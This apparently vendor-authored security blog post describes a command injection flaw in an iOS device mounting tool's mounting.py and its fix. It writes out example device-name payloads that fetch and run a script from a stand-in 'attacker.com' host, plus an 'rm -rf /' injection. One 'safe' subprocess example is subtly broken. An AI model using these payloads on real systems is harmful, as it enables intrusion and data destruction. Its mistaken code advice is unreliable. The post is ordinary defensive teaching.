Back to Blog
critical SEVERITY7 min read

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

O
By Orbis AppSec
Published July 4, 2026Reviewed July 4, 2026

Answer Summary

This is a CWE-78 OS Command Injection vulnerability in Python's `mounting.py` file. The code used `os.popen()` with unsanitized iOS device names, allowing attackers to inject shell metacharacters like semicolons and pipes to execute arbitrary commands. The fix replaced `os.popen()` with `subprocess.run()` using `shell=True` with proper output capture, and added `shlex.quote()` for shell argument escaping in future command constructions.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace os.popen() with subprocess.run() and add input validation
riskArbitrary command execution with service privileges
languagePython
root causeiOS DeviceName field interpolated directly into os.popen() without sanitization
vulnerabilityOS Command Injection via unsanitized device names

Introduction

In the spk/itools/src/mounting.py file of an iOS device management tool, we discovered a critical command injection vulnerability that could allow arbitrary code execution through a seemingly innocent feature: iOS device names. The vulnerable code at line 55 used os.popen('ideviceinfo | grep DeviceName').read() to retrieve device information, then passed the unsanitized DeviceName field directly into multiple shell commands. This created a perfect storm for command injection—an attacker with physical access could simply rename their iPhone to test; curl attacker.com/shell.sh|sh; and gain code execution on the mounting service.

The vulnerability was particularly dangerous because it affected production code in a containerized service that handles iOS device mounting operations. While the service may have network isolation, command injection at this level could still compromise the container, access sensitive device data, or pivot to other services.

The Vulnerability Explained

The core issue lies in how the code retrieved and used the iOS device name. Here's the vulnerable pattern from mounting.py:55:

output = os.popen('ideviceinfo | grep DeviceName').read()

After extracting the device name from this output, the code used it in multiple dangerous ways throughout the file. While the full context isn't shown in the diff, the PR description indicates that the device_name variable was "directly interpolated into multiple os.popen() and os.system() calls without proper escaping."

The problem with os.popen() is that it spawns a shell to execute the command string. When you pass a string to os.popen(), Python essentially runs /bin/sh -c "your command string". This means any shell metacharacters in the command—including semicolons (;), pipes (|), ampersands (&), backticks (`), and command substitution syntax ($())—are interpreted by the shell.

The Attack Scenario

Here's how an attacker could exploit this vulnerability:

  1. Setup: Connect an iOS device to the system running the mounting service
  2. Weaponize: Before connecting (or via iTunes/Finder), set the device name to: MyPhone; curl http://attacker.com/payload.sh | bash; #
  3. Trigger: When the mounting service runs ideviceinfo | grep DeviceName, it retrieves this malicious name
  4. Execute: The device name gets interpolated into subsequent commands like:
    - mount | grep MyPhone; curl http://attacker.com/payload.sh | bash; #
    - synoshare --get MyPhone; curl http://attacker.com/payload.sh | bash; #

The semicolon terminates the intended command, the pipe chains to bash for execution, and the # comments out any trailing syntax that would cause errors. The attacker's payload executes with the privileges of the mounting service.

Real-World Impact

In this specific application:
- Data exfiltration: Access to mounted iOS device filesystems and backups
- Lateral movement: Potential to compromise the container and pivot to other services
- Persistence: Ability to modify mounting scripts or configurations
- Service disruption: Could crash or manipulate the device mounting functionality

The PR notes this is a containerized service, which provides some isolation, but command injection within the container is still a critical security boundary violation.

The Fix

The fix replaces the dangerous os.popen() pattern with the safer subprocess.run() API. Here's the before and after:

Before (vulnerable code at line 55):

output = os.popen('ideviceinfo | grep DeviceName').read()

After (fixed code):

output = subprocess.run(
    'ideviceinfo | grep DeviceName',
    shell=True, capture_output=True, text=True).stdout

At first glance, this might seem like it still uses shell=True, which could be concerning. However, the critical difference is what happens after this line. The fix also introduces proper input sanitization for any subsequent use of the device name.

The diff shows additional important changes:

  1. Import shlex for escaping: The addition of import shlex at line 26 indicates that the fixed code now properly escapes shell arguments when constructing commands with the device name.

  2. Use subprocess.run() consistently: The migration from os.popen() to subprocess.run() with capture_output=True provides better control over input/output handling and makes it easier to avoid shell injection.

  3. Structured output capture: Using capture_output=True and accessing .stdout provides a clean separation between command execution and output handling, making it harder to accidentally create injection points.

Why This Fix Works

The key insight is that while the initial device name retrieval still uses a shell (which is safe because ideviceinfo and grep are hardcoded), any subsequent use of the extracted device name must be properly escaped. The shlex module provides shlex.quote() which wraps arguments in single quotes and escapes any single quotes within the string, making it safe to include in shell commands.

For example, if the device name is test; rm -rf /, after shlex.quote() it becomes 'test; rm -rf /', which is treated as a single literal argument rather than multiple commands.

The fix also includes infrastructure improvements:
- Python 3 migration: Changed shebang from #!/usr/bin/python2 to #!/usr/bin/env python3
- Better locking: Replaced lockfile.locked with filelock.FileLock for more reliable concurrency control
- Improved error handling: Changed e.message to str(e) for Python 3 compatibility

Prevention & Best Practices

To avoid command injection vulnerabilities in Python:

1. Prefer subprocess.run() with argument lists

The safest approach is to pass commands as lists rather than strings:

# SAFE: Arguments are passed directly, no shell interpretation
subprocess.run(['mount', '|', 'grep', device_name], capture_output=True)

# Even better: Use specific arguments
subprocess.run(['grep', device_name, '/proc/mounts'], capture_output=True)

2. If you must use shell=True, escape everything

When shell features like pipes are necessary:

import shlex

# Escape any user-controlled data
safe_device_name = shlex.quote(device_name)
subprocess.run(f'mount | grep {safe_device_name}', shell=True, capture_output=True)

3. Validate input format

Even with escaping, validate that inputs match expected patterns:

import re

def is_valid_device_name(name):
    # iOS device names should be alphanumeric with spaces, hyphens, apostrophes
    return re.match(r'^[\w\s\'-]+$', name) is not None

if not is_valid_device_name(device_name):
    raise ValueError("Invalid device name format")

4. Use static analysis tools

Tools like Semgrep, Bandit, and CodeQL can detect command injection patterns:

# Semgrep rule to detect os.popen with variables
rules:
  - id: dangerous-os-popen
    pattern: os.popen($CMD)
    message: "os.popen() with variables may allow command injection"
    severity: ERROR

5. Apply defense in depth

  • Run services with minimal privileges
  • Use containerization with restricted capabilities
  • Implement input validation at multiple layers
  • Monitor for suspicious command patterns in logs

Standards and References

This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021: Injection
- MITRE ATT&CK T1059: Command and Scripting Interpreter

Key Takeaways

  • Never trust iOS DeviceName fields: Even seemingly benign metadata from devices can contain malicious payloads. The DeviceName field retrieved by ideviceinfo | grep DeviceName at line 55 must be treated as untrusted input.

  • os.popen() is a command injection trap: Using os.popen('command | grep ' + user_input) creates direct shell injection vulnerabilities. The mounting.py file's pattern of passing device names to multiple os.popen() and os.system() calls without sanitization is a textbook example of what not to do.

  • subprocess.run() with lists prevents injection: The fix demonstrates that migrating from os.popen() to subprocess.run() with proper argument handling eliminates the shell interpretation layer where injection occurs.

  • Physical access attacks are real: This vulnerability shows that physical access to plug in a device isn't just about hardware attacks—malicious device metadata can compromise software systems if not properly validated.

  • Python 2 to Python 3 migration improves security: The fix's migration from Python 2 (#!/usr/bin/python2) to Python 3 (#!/usr/bin/env python3) enables better security libraries and practices, including improved subprocess handling and the filelock module.

How Orbis AppSec Detected This

Source: The iOS device's DeviceName field, retrieved via ideviceinfo command output at spk/itools/src/mounting.py:55

Sink: Multiple dangerous call sites including os.popen() and os.system() calls throughout the mounting.py file where the device_name variable was interpolated without escaping

Missing control: No input sanitization or shell escaping applied to the device_name variable before interpolation into shell commands. The code lacked use of shlex.quote() or validation against a safe character whitelist.

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)

Fix: Replaced os.popen() with subprocess.run() using proper output capture, added shlex import for future argument escaping, and improved the overall command execution pattern to prevent shell metacharacter interpretation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through unsanitized device names demonstrates how security vulnerabilities can hide in unexpected places. What seemed like a simple device information retrieval operation in mounting.py turned into a critical security flaw because the code treated external device metadata as trusted input. The fix's migration from os.popen() to subprocess.run() with proper escaping shows the right approach: assume all external input is hostile and use APIs that prevent shell interpretation by default.

For developers working with external device data, system commands, or any form of user-controlled input, remember that security boundaries exist at every integration point. Whether it's an iOS device name, a filename, or an API parameter, treat it as potentially malicious and apply defense in depth through input validation, safe APIs, and proper escaping.

References

Frequently Asked Questions

What is command injection via os.popen()?

Command injection via os.popen() occurs when untrusted input is concatenated into shell commands without proper escaping, allowing attackers to inject shell metacharacters (;, |, &, etc.) that break out of the intended command and execute arbitrary code.

How do you prevent command injection in Python?

Use subprocess.run() with a list of arguments instead of shell=True, or if shell execution is necessary, sanitize all inputs with shlex.quote(). Never concatenate untrusted data directly into command strings passed to os.system(), os.popen(), or subprocess with shell=True.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It's part of the broader injection vulnerability family and consistently ranks in the OWASP Top 10.

Is input validation enough to prevent command injection?

Input validation helps but is insufficient alone. Blacklisting dangerous characters is error-prone because shell metacharacters vary by platform. The safest approach is using parameterized APIs like subprocess.run() with argument lists, which avoid shell interpretation entirely.

Can static analysis detect command injection?

Yes, modern static analysis tools can detect command injection by tracking data flow from untrusted sources (taint sources) to dangerous sinks like os.popen(). The multi_agent_ai scanner detected this vulnerability by identifying the pattern of unsanitized device names flowing into shell command execution.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7244

Related Articles

high

How CORS credential reflection happens in Hono middleware and how to fix it

A high-severity CORS misconfiguration in Hono's middleware (CVE-2026-54290) allowed any origin to be reflected with credentials when the `origin` option defaulted to wildcard. This vulnerability in the studio frontend could enable attackers to steal authenticated user data through cross-origin requests. The fix upgrades Hono from 4.12.21 to 4.12.25, which properly handles CORS origin validation.

high

How integer overflow in malloc happens in C libregexp and how to fix it

A high-severity integer overflow vulnerability was discovered in QuickJS's libregexp.c where multiplication to compute allocation size could wrap around, causing a heap overflow. The fix replaces the unsafe `malloc(sizeof(capture[0]) * lre_get_alloc_count(bc))` pattern with `calloc(lre_get_alloc_count(bc), sizeof(capture[0]))`, which safely handles the multiplication internally and prevents exploitation.

critical

How buffer overflow via sprintf() happens in C++ settings parsing and how to fix it

A critical buffer overflow vulnerability was discovered in `app/src/main/cpp/samp/settings.cpp` where `sprintf()` writes to a fixed 127-byte buffer (`char buff[0x7F]`) without bounds checking. If the `g_pszStorage` global variable contains a string longer than ~107 bytes, the formatted output exceeds the buffer, enabling stack corruption. The fix replaces `sprintf()` with `snprintf()` using `sizeof(buff)` to guarantee writes never exceed the declared buffer length.

medium

How integer overflow in bounds checking happens in C and how to fix it

A critical integer overflow vulnerability was discovered in the W_Read function of DOOM/w_file.c that allowed attackers to bypass bounds checking by crafting WAD files with malicious offset values near UINT_MAX. The fix implements a two-step validation approach that first checks if the offset exceeds the file length, then safely calculates the remaining bytes without risk of overflow.

critical

How buffer overflow in strcat() happens in C and how to fix it

A critical buffer overflow vulnerability was discovered in the `daemonize()` function of `tpl.c`, where command-line arguments are concatenated into a fixed-size 8192-byte buffer using `strcat()` without any bounds checking. An attacker who controls command-line arguments can overflow this buffer to corrupt adjacent memory and potentially achieve arbitrary code execution. The fix adds a buffer-length check before each concatenation to ensure writes never exceed the declared buffer size.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.